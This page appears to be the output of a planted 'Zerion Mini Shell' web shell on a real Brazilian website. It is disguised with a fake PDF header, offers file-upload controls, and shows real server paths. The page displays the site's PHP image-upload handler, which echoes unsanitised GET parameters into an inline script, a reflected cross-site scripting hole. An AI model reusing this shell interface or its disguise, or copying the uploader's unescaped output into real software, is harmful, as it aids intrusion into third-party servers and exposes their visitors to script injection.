%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/dimen328/libertysa.com.br/admin/includes/
Upload File :
Create Path :
Current File : //home1/dimen328/libertysa.com.br/admin/includes/uploaderFroala.inc.php

<?php

	function uploadFile($file){
		$nomeArquivo = $_FILES['upload']['name'];
		$RandomNumber = uniqid();
		$extensaoPermitidas = array("jpg","jpeg","png","gif");
		
		//recuperando extenção do arquivo
		$file_e = strtolower(end(explode(".",$nomeArquivo)));
		
		//verificar se extensão é permitida
		if (in_array($file_e, $extensaoPermitidas)) { 
			//recuperando apenas o nome do arquivo
			$file_f = explode(".",$nomeArquivo);
			
			//concate nome do arquivo + randid + extensao 
			$imagemNome = $file_f[0].$RandomNumber.'.'.$file_e;
					
			$dir = "../uploads/ckeditor/".$imagemNome;
			$nome = $_FILES['upload']['tmp_name'];
			if((!file_exists($dir))){
				if(move_uploaded_file($nome,$dir)){

					$message = 'Sucesso Upload';
				
				} else {

					 $message = "Falha Upload";
				}
			} else {
				//se existe o arquivo no DIR (dificil com o uniqid(), vai que ...)
				$file['msg'] = "2";
			}
			// Generate response.
			$response = new StdClass;
			$response->link = "http://www.libertysa.com.br/admin/uploads/ckeditor/".$imagemNome;
			
			   $funcNum = $_GET['CKEditorFuncNum'] ;
			   // Optional: instance name (might be used to load a specific configuration file or anything else).
			   $CKEditor = $_GET['CKEditor'] ;
			   // Optional: might be used to provide localized messages.
			   $langCode = $_GET['langCode'] ;
				
			   // Usually you will only assign something here if the file could not be uploaded.

			echo "<script type='text/javascript'>window.parent.CKEDITOR.tools.callFunction($funcNum, '$response->link', '$message');</script>";
		}else{
		//extensão não é permitida!
		   $funcNum = $_GET['CKEditorFuncNum'] ;
			$message = "Extensão não permitida!";
			echo "<script type='text/javascript'>window.parent.CKEDITOR.tools.callFunction('$funcNum', '$message');</script>";
		}
	}
		
	uploadFile($_FILES['file']);
	
?>

Zerion Mini Shell 1.0